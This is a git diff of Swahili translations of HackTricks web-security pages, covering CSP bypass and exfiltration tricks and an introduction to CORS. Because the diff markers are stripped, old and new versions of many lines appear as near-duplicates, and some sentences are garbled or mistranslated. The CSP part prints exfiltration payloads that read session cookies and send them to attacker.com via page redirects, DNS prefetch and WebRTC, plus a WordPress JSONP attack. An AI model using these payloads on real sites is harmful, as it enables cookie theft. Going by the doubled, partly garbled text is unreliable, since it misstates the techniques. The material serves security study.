Jiunge na server ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina cha msisimko na changamoto za udukuzi
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
|
||||
**Taarifa za Udukuzi za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia taarifa na ufahamu wa muda halisi
|
||||
**Taarifa za Udukuzi za Wakati Halisi**\
|
||||
Endelea kuwa na taarifa katika ulimwengu wa udukuzi wenye kasi kupitia habari na ufahamu wa wakati halisi
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezi na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Teknolojia Hatari za Kupuuza CSP
|
||||
## Teknolojia Hatarishi za Kupita Mipangilio ya CSP
|
||||
|
||||
### Kuzidisha Kichupo cha Majibu ya PHP
|
||||
|
||||
PHP inajulikana kwa **kuzidisha majibu hadi herufi 4096** kwa chaguo-msingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatatumiwa **kabla** ya **kichwa cha CSP**, kusababisha kichwa kutozingatiwa.\
|
||||
Kisha, mbinu inategemea kimsingi **kujaza kichupo cha majibu na maonyo** ili kichwa cha CSP kisitumwe.
|
||||
PHP inajulikana kwa **kuzidisha majibu hadi herufi 4096** kwa chaguo-msingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatakuwa **yametumwa** **kabla** ya **kichwa cha CSP**, kusababisha kichwa kutozingatiwa.\
|
||||
Kisha, mbinu inategemea msingi wa **kujaza kichupo cha majibu na maonyo** ili kichwa cha CSP kisitumwe.
|
||||
|
||||
Wazo kutoka [**hapa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kubadilisha Ukurasa wa Hitilafu
|
||||
|
||||
Kutoka [**hapa**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kupuuza ulinzi wa CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.
|
||||
Kutoka [**hapa**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kupita kinga ya CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -656,16 +666,16 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### BAADHI + 'self' + wordpress
|
||||
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mwisho mwingine wa asili**. Hii hufanywa kwa kupakia mwisho ulio hatarini kutoka kwenye ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ile ile unayotaka kutumia. Kwa njia hii, **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia DOM ya **mwisho halisi unaotumika**. Kwa maelezo zaidi angalia:
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mambo mengine ya mwisho wa asili.** Hii hufanywa kwa kupakia mwisho wa mwisho kutoka kwa ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ile ile unayotaka kutumia. Kwa njia hii, **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia DOM ya **mwisho halisi wa kutumia.** Kwa habari zaidi angalia:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (kwa kikomo cha herufi, nambari na vipindi tu).
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (ikiwa na kikomo cha herufi, nambari na madokezo).
|
||||
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu ime**ruhusiwa na 'self'**. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **kukaribisha** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\
|
||||
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu imeruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **wito** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\
|
||||
Kwa habari zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Kupita Kizuizi cha CSP cha Kufichua
|
||||
|
||||
|
@ -673,7 +683,7 @@ Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mamb
|
|||
|
||||
### Mahali
|
||||
|
||||
Unaweza tu kusasisha mahali pa kutuma habari za siri kwa seva ya mshambuliaji:
|
||||
Unaweza tu kusasisha mahali kutuma kwa seva ya mshambuliaji habari ya siri:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
@ -686,8 +696,8 @@ Unaweza kuendeleza kwa kuingiza lebo ya meta (hii ni tu mwelekeo, haitavuja maud
|
|||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Ili kupakia kurasa haraka, vivinjari vitahakikisha kutatua majina ya mwenyeji kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\
|
||||
Unaweza kuashiria kivinjari kutatua jina la mwenyeji mapema kwa: `<link reol="dns-prefetch" href="kitu.com">`
|
||||
Ili kupakia kurasa haraka, vivinjari vitahakikisha majina ya mwenyeji yanabadilishwa kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\
|
||||
Unaweza kuashiria kivinjari kubadilisha jina la mwenyeji mapema kwa: `<link reol="dns-prefetch" href="kitu.com">`
|
||||
|
||||
Unaweza kutumia tabia hii kwa **kutolea nje taarifa nyeti kupitia maombi ya DNS**:
|
||||
```javascript
|
||||
|
@ -695,26 +705,24 @@ var sessionid = document.cookie.split('=')[1]+".";
|
|||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Njia nyingine:
|
||||
|
||||
Unaweza kutumia njia ya kuficha maudhui ya kuki za kikoa kwa kutumia `frame-ancestors` directive. Hii inaruhusu ukurasa wa mtandao kuwekwa ndani ya `<frame>`, `<iframe>`, `<embed>`, au `<object>`. Kwa kufanya hivyo, unaweza kuficha maudhui ya kuki za kikoa kutoka kwa sera ya usalama ya maudhui (CSP). Hii inaweza kusababisha kuki za kikoa kufichuliwa kwa tovuti zisizoidhinishwa.
|
||||
Njia nyingine:
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
Ili kuepuka hili kutokea, server inaweza kutuma HTTP header:
|
||||
Ili kuepuka hili lisitokee, server inaweza kutuma HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Inavyoonekana, mbinu hii haifanyi kazi kwenye vivinjari visivyo na kichwa (bots)
|
||||
Inavyoonekana, mbinu hii haifanyi kazi katika vivinjari visivyo na kichwa (bots)
|
||||
{% endhint %}
|
||||
|
||||
### WebRTC
|
||||
|
||||
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haikagui sera ya `connect-src`** ya CSP.
|
||||
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haitathmini sera ya `connect-src`** ya CSP.
|
||||
|
||||
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombi la DNS_. Angalia nambari hii:
|
||||
```javascript
|
||||
|
@ -737,7 +745,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
## Kujenga CSP Kiotomatiki
|
||||
## Kiotomatiki Kuunda CSP
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
|
@ -758,13 +766,13 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina cha udukuzi na changamoto zake
|
||||
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake
|
||||
|
||||
**Taarifa za Udukuzi za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelekezi na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
|
@ -777,7 +785,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,11 +16,11 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Ni nini CORS?
|
||||
|
||||
Mkataba wa Kugawana Rasilmali kati ya Mito (CORS) **inaruhusu seva kuamua ni nani anaweza kupata mali zao** na **njia za ombi za HTTP zipi zinaruhusiwa** kutoka vyanzo vya nje.
|
||||
Mkataba wa Kugawana Rasilmali kati ya Mipaka (CORS) **inaruhusu seva kuamua ni nani anaweza kupata mali zao** na **njia za ombi za HTTP zipi zinaruhusiwa** kutoka vyanzo vya nje.
|
||||
|
||||
Sera ya **asili sawa** inahitaji kwamba **seva inayotaka** rasilimali na seva inayohifadhi **rasilimali** washiriki itifaki sawa (k.m., `http://`), jina la kikoa (k.m., `internal-web.com`), na **bandari** (k.m., 80). Chini ya sera hii, kurasa za wavuti kutoka kwa kikoa na bandari sawa tu ndio zinaruhusiwa kupata rasilimali.
|
||||
|
||||
Matumizi ya sera ya asili sawa katika muktadha wa `http://normal-website.com/example/example.html` inaonyeshwa kama ifuatavyo:
|
||||
Matumizi ya sera sawa ya asili katika muktadha wa `http://normal-website.com/example/example.html` inaonyeshwa kama ifuatavyo:
|
||||
|
||||
| URL iliyopatikana | Kupatikana kuruhusiwa? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
|
@ -31,17 +31,17 @@ Matumizi ya sera ya asili sawa katika muktadha wa `http://normal-website.com/exa
|
|||
| `http://www.normal-website.com/example/` | Hapana: Kikoa tofauti |
|
||||
| `http://normal-website.com:8080/example/` | Hapana: Bandari tofauti\* |
|
||||
|
||||
\*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera ya asili sawa, hivyo kuruhusu ufikiaji huu.
|
||||
\*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera sawa ya asili, hivyo kuruhusu ufikiaji huu.
|
||||
|
||||
### Kichwa cha `Access-Control-Allow-Origin`
|
||||
|
||||
Kichwa hiki kinaweza kuruhusu **mizizi mingi**, thamani ya **`null`**, au alama ya mwitikio **`*`**. Walakini, **kivinjari hakisaidii mizizi mingi**, na matumizi ya alama ya mwitikio `*` yanategemea **vizuizi**. (Alama ya mwitikio inapaswa kutumika peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
|
||||
Kichwa hiki kinaweza kuruhusu **mizizi mingi**, thamani ya **`null`**, au alama ya mwitikio wa **`*`**. Walakini, **kivinjari hakisaidii mizizi mingi**, na matumizi ya alama ya mwitikio wa `*` yanategemea **vizuizi**. (Alama ya mwitikio wa `*` inapaswa kutumika peke yake, na matumizi yake pamoja na `Access-Control-Allow-Credentials: true` hayaruhusiwi.)
|
||||
|
||||
Kichwa hiki **hutolewa na seva** kujibu ombi la rasilimali kati ya mito lililoanzishwa na wavuti, na kivinjari kiotomatiki huongeza kichwa cha `Origin`.
|
||||
Kichwa hiki **hutolewa na seva** kujibu ombi la rasilimali kati ya mipaka lililoanzishwa na wavuti, na kivinjari kiotomatiki huongeza kichwa cha `Origin`.
|
||||
|
||||
### Kichwa cha `Access-Control-Allow-Credentials`
|
||||
|
||||
Kwa **chaguo-msingi**, maombi ya kati-mito hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya kati-mito inaweza kuruhusu kusoma kwa mwitikio wakati sifa zinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`kweli`**.
|
||||
Kwa **chaguo-msingi**, maombi ya mipaka ya kuvuka hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya mipaka ya kuvuka inaweza kuruhusu kusoma kwa jibu wakati sifa zinatumwa kwa kuweka kichwa cha `Access-Control-Allow-Credentials` kuwa **`kweli`**.
|
||||
|
||||
Ikiwa imewekwa kuwa `kweli`, kivinjari kitatuma sifa (vidakuzi, vichwa vya uthibitishaji, au vyeti vya mteja vya TLS).
|
||||
```javascript
|
||||
|
@ -72,15 +72,15 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
```
|
||||
### Ombi la CSRF la kabla ya safari
|
||||
|
||||
### Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Kuvuka-Domeini
|
||||
### Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Mikoa Tofauti
|
||||
|
||||
Unapoanzisha ombi la kuvuka-domeini chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (chochote kisichokuwa HEAD, GET, POST), kuingiza **vichwa vipya**, au kutumia thamani maalum ya **kichwa cha Aina ya Yaliyomo**, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, hutumika kumjulisha seva nia za ombi la kuvuka-matawi linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.
|
||||
Unapoanzisha ombi la msalaba-mikoa chini ya hali maalum, kama kutumia **njia ya HTTP isiyo ya kawaida** (chochote kisichokuwa HEAD, GET, POST), kuingiza **vichwa vipya**, au kutumia thamani maalum ya **kichwa cha Aina ya Yaliyomo**, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya **`OPTIONS`**, hutumika kumjulisha seva nia ya ombi la msalaba-mwanzo linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.
|
||||
|
||||
Itifaki ya **Kugawana Rasilmali kati ya Matawi (CORS)** inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya kuvuka-matawi iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Kwa uelewa kamili wa hali zipi zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
Itifaki ya **Kugawana Rasilmali kwa Mawasiliano ya Mipaka (CORS)** inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya msalaba-mwanzo iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Ili kuelewa kwa undani ni hali gani zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Ni muhimu kutambua kwamba **ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini**. Bila vichwa hivi, kivinjari kimelemazwa katika uwezo wake wa kusindika jibu kutoka kwa ombi la kuvuka-matawi.
|
||||
Ni muhimu kuzingatia kwamba **ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini**. Bila vichwa hivi, kivinjari kinashindwa kusindika jibu kutoka kwa ombi la msalaba-mwanzo.
|
||||
|
||||
Chukua mfano ufuatao wa ombi la kabla ya safari lililolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kilichoitwa `Special-Request-Header`:
|
||||
Chukua mfano ufuatao wa ombi la kabla ya safari linalolenga kutumia njia ya `PUT` pamoja na kichwa cha desturi kilichoitwa `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -99,22 +99,22 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: Kichwa hiki hufafanua ni vichwa vipi vinaweza kutumiwa wakati wa ombi halisi. Kinasanidiwa na seva kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
|
||||
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
|
||||
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa. Seva inaweka wakati wa maksimumu, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumiwa tena.
|
||||
* **`Access-Control-Request-Headers`**: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP vipi mteja anataka kutumia katika ombi halisi.
|
||||
* **`Access-Control-Request-Method`**: Kichwa hiki, pia kutumika katika maombi ya awali, kinasanidiwa na mteja kuonyesha ni njia gani ya HTTP itatumika katika ombi halisi.
|
||||
* **`Origin`**: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kinaonyesha asili ya ombi la msingi wa msalaba-mwanzo. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
|
||||
* **`Access-Control-Allow-Headers`**: Kichwa hiki hufafanua ni vichwa vipi vinaweza kutumika wakati wa ombi halisi. Kinasanidiwa na seva kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
|
||||
* **`Access-Control-Expose-Headers`**: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya majibu isipokuwa vichwa vya majibu ya kawaida.
|
||||
* **`Access-Control-Max-Age`**: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa. Seva inaweka muda wa kikomo, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumika tena.
|
||||
* **`Access-Control-Request-Headers`**: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.
|
||||
* **`Access-Control-Request-Method`**: Kichwa hiki, pia kutumika katika maombi ya awali, kinasanidiwa na mteja kuonyesha ni njia ipi ya HTTP itatumika katika ombi halisi.
|
||||
* **`Origin`**: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kuonyesha asili ya ombi la msingi wa msalaba-mzizi. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.
|
||||
|
||||
Tafadhali kumbuka kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumiwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa jibu**, lazima liwe na kichwa cha _Access-Control-Allow-Origin_ kuruhusu hilo.\
|
||||
Tafadhali kumbuka kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la **GET/POST hakuna ombi la awali linalotumwa** (ombi linatumiwa **moja kwa moja**), lakini ikiwa unataka kupata **vichwa/mwili wa majibu**, lazima iwe na kichwa cha _Access-Control-Allow-Origin_ kuruhusu hilo.\
|
||||
**Hivyo basi, CORS haitoi ulinzi dhidi ya CSRF (ingawa inaweza kuwa na manufaa).**
|
||||
|
||||
### **Maombi ya Mtandao wa Ndani Ombi la Awali**
|
||||
### **Ombi la Awali la Mtandao wa Ndani**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Kichwa hiki kinaingizwa katika ombi la mteja kumaanisha kuwa uchunguzi unalenga rasilimali ya mtandao wa ndani. Hutumika kama ishara kuarifu seva kuwa ombi linatoka ndani ya mtandao wa ndani.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyoombwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyotakiwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.
|
||||
|
||||
**Jibu halali linaloruhusu ombi la mtandao wa ndani** lazima pia liwe na kichwa `Access-Controls-Allow-Local_network: true`:
|
||||
**Jibu halali linaloruhusu ombi la mtandao wa ndani** linapaswa pia kuwa na kichwa `Access-Controls-Allow-Local_network: true`:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -126,22 +126,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kuwa IP ya linux **0.0.0.0** inafanya kazi kwa **kupita** mahitaji haya ya kufikia localhost kwa sababu anwani hiyo ya IP haichukuliwi "ya ndani".
|
||||
Tafadhali kumbuka kuwa IP ya linux **0.0.0.0** inafanya kazi kwa **kupita** mahitaji haya ili kupata ufikiaji wa localhost kwa sababu anwani hiyo ya IP haichukuliwi kuwa "ya ndani".
|
||||
|
||||
Pia ni pamoja na **kupita mahitaji ya Mtandao wa Ndani** ikiwa unatumia **anwani ya IP ya umma ya mwisho** (kama vile anwani ya IP ya router). Kwa sababu katika matukio kadhaa, hata kama **anwani ya IP ya umma** inafikiwa, ikiwa ni **kutoka kwenye mtandao wa ndani**, ufikiaji utapewa.
|
||||
{% endhint %}
|
||||
|
||||
## Mipangilio Inayoweza Kudukuliwa
|
||||
|
||||
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti la msingi kwa **mashambulizi halisi** mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari litoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.
|
||||
Imeonekana kuwa kuweka `Access-Control-Allow-Credentials` kuwa **`kweli`** ni sharti la msingi kwa **mashambulizi halisi** mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari itoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.
|
||||
|
||||
### Ubunifu: Kudukua Mahali pa Mtandao kama Uthibitisho
|
||||
### Ubunifu: Kutumia Mahali pa Mtandao kama Uthibitisho
|
||||
|
||||
Kuna ubunifu ambapo mahali pa mtandao wa mwathiriwa hufanya kama aina fulani ya uthibitisho. Hii inaruhusu kivinjari cha mwathiriwa kutumika kama proksi, kuzunguka uthibitisho wa msingi wa IP kufikia programu za mtandao wa ndani. Mbinu hii inashirikisha fanano katika athari na DNS rebinding lakini ni rahisi zaidi kudukua.
|
||||
Kuna ubunifu ambapo mahali pa mtandao wa mwathiriwa unafanya kama aina fulani ya uthibitisho. Hii inaruhusu kivinjari cha mwathiriwa kutumika kama proksi, ikipita uthibitisho wa msingi wa IP kufikia programu za mtandao wa ndani. Mbinu hii ina fanana na athari za DNS rebinding lakini ni rahisi kutumia.
|
||||
|
||||
### Kutafakari `Origin` katika `Access-Control-Allow-Origin`
|
||||
|
||||
Hali halisi ambapo thamani ya kichwa cha `Origin` inatafakariwa katika `Access-Control-Allow-Origin` ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kwa njia ya kudumu kichwa cha `Access-Control-Allow-Origin` kwa kunakili thamani ya kichwa cha `Origin`. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.
|
||||
